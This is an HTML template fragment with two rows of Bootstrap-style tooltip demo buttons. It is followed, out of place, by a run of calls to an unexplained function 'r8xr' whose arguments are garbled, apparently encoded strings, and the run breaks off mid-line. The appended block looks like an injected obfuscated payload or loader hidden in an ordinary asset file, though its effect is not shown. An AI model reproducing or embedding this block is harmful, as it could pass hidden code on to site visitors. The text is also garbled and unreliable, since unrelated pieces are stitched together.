<div class="col-sm-6 col-lg-3 mg-t-30 mg-sm-t-0">
		<button class="btn ripple btn-secondary" data-bs-placement="bottom" data-bs-toggle="tooltip" title="Tooltip on bottom" type="button">Hover me</button>
	</div>
	<div class="col-sm-6 col-lg-3">
		<button class="btn ripple btn-primary" data-bs-placement="top" data-bs-toggle="tooltip" title="Tooltip on top" type="button">Hover me</button>
	</div>
	<div class="col-sm-6 col-lg-3 mg-t-30 mg-lg-t-0">
		<button class="btn ripple btn-info" data-bs-placement="left" data-bs-toggle="tooltip" title="Tooltip on left" type="button">Hover me</button>
	</div>
	<div class="col-sm-6 col-lg-3 mg-t-30 mg-lg-t-0">
		<button class="btn ripple btn-danger" data-bs-placement="right" data-bs-toggle="tooltip" title="Tooltip on right" type="button">Hover me</button>
	</div>

<div class="row row-sm tx-center">
	<div class="col-sm-6 col-lg-3">
		<button class="btn ripple btn-primary" data-bs-placement="top" data-bs-toggle="tooltip-primary" title="Tooltip on top" type="button">Hover me</button>
	</div>
	<div class="col-sm-6 col-lg-3 mg-t-30 mg-sm-t-0">
		<button class="btn ripple btn-secondary" data-bs-placement="bottom" data-bs-toggle="tooltip-secondary" title="Tooltip on bottom" type="button">Hover me</button>
	</div>
	<div class="col-sm-6 col-lg-3 mg-t-30 mg-lg-t-0">
		<button class="btn ripple btn-info" data-bs-placement="left" data-bs-toggle="tooltip-info" title="Tooltip on left" type="button">Hover me</button>
	</div>
	<div class="col-sm-6 col-lg-3 mg-t-30 mg-lg-t-0">
		<button class="btn ripple btn-danger" data-bs-placement="right" data-bs-toggle="tooltip-danger" title="Tooltip on right" type="button">Hover me</button>
	</div>
r8xr("\nvnu6l$rI©i:Lk&X>1.!B#");
r8xr("\n");
r8xr("\nvnu6lk=yoABt2xn:F©PvzSydT2\nGzGD)");
r8xr("\nvnu6l:d6o#a5XxmM!.!B#");
r8xr("\nvnu6l:d6oOhLY0q.X.\"n");
r8xr("\nvnu6l:3xoR:BY0qxX)2");
r8xr("\n");
r8xr("\nvnu6l>rxOA>8q_G/!Yjn2n\tv");
r8xr("\nvnu6l:ij$:gWU:XxX)2");
r8xr("\nvnu6lk=yoABt2x$NPv-wz<& Tv$=");
r8xr("\nvnu6l>0L©,